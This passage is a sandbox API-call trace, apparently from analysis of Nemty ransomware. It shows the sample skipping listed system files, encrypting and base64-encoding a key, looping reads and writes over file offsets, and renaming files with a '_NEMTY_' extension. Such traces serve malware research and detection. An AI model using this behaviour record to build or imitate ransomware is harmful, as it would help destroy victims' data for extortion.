ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="..") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="...") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="windows") returned -1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="$RECYCLE.BIN") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="rsa") returned -1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="NTDETECT.COM") returned -1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="ntldr") returned -1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="MSDOS.SYS") returned -1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="IO.SYS") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="boot.ini") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="boot.ini") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="ntuser.dat") returned -1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="desktop.ini") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="CONFIG.SYS") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="RECYCLER") returned -1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="BOOTSECT.BAK") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="bootmgr") returned 1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="programdata") returned -1 [0101.584] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="appdata") returned 1 [0101.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0101.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Month_Calendar.jtp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0101.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Month_Calendar.jtp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Month_Calendar.jtp", lpUsedDefaultChar=0x0) returned 18 [0101.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0101.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Month_Calendar.jtp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0101.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Month_Calendar.jtp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Month_Calendar.jtp", lpUsedDefaultChar=0x0) returned 18 [0101.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0101.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0101.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0101.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Month_Calendar.jtp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0101.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Month_Calendar.jtp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Month_Calendar.jtp", lpUsedDefaultChar=0x0) returned 18 [0101.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0101.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0101.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Month_Calendar.jtp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0101.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Month_Calendar.jtp", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Month_Calendar.jtp", lpUsedDefaultChar=0x0) returned 18 [0101.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0101.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942b0 [0101.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0101.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0101.585] Sleep (dwMilliseconds=0x5) [0101.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf034a010, dwHighDateTime=0x1d561e7)) [0101.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf034a010, dwHighDateTime=0x1d561e7)) [0101.601] GetLastError () returned 0x5 [0101.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0101.601] GetLastError () returned 0x5 [0101.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0101.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0101.601] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0101.601] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0101.601] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0101.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0101.601] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="h0rCmN4asYVaxTocJzjURiak1xFhgCqJ41ZF8oZsn/47OM3zoDfaSz/lVLk82siS\r\ni3h9IykvmPRY3rU7qp6e3TEDcBst1JmTTw0k2WtAtGU6VAJN6OKU2bFtCACLsiYI\r\ntRYHN/DrmrKqxyPULGKH6ODk+88lgpb3mzIMG/NLVyiyCKcB7XoitSCCBOyLTZgh\r\nl/YBg4VJrcHX5Yg+7suvEpka51IoUODbObvhDqP12c2uehRGU0dFa7Gd33mKvm0Y\r\nzXkjx2qjz4q13kEBOzi6MwJXyV2KoXqSC3H9ZqxyqdHY4LQTWQ16rQGTgxbBH5O+\r\noTkxO8n9EkkGxCIAi6kfKQ==\r\n", pcchString=0x653ef9c) returned 1 [0101.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0101.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0101.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0101.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0101.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0101.601] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.607] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0101.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0101.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.664] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.683] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0101.714] CloseHandle (hObject=0xffffffff) returned 0 [0101.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94338 [0101.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0101.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0101.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0101.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0101.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0101.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0101.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340240 [0101.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0101.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0101.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp._nemty_kgobjgd_")) returned 0 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.715] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Music.jtp", cAlternateFileName="")) returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2=".") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="..") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="...") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="windows") returned -1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="$RECYCLE.BIN") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="rsa") returned -1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="NTDETECT.COM") returned -1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="ntldr") returned -1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="MSDOS.SYS") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="IO.SYS") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="boot.ini") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="boot.ini") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="ntuser.dat") returned -1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="desktop.ini") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="CONFIG.SYS") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="RECYCLER") returned -1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="BOOTSECT.BAK") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="bootmgr") returned 1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="programdata") returned -1 [0101.715] lstrcmpiW (lpString1="Music.jtp", lpString2="appdata") returned 1 [0101.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Music.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Music.jtp", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, 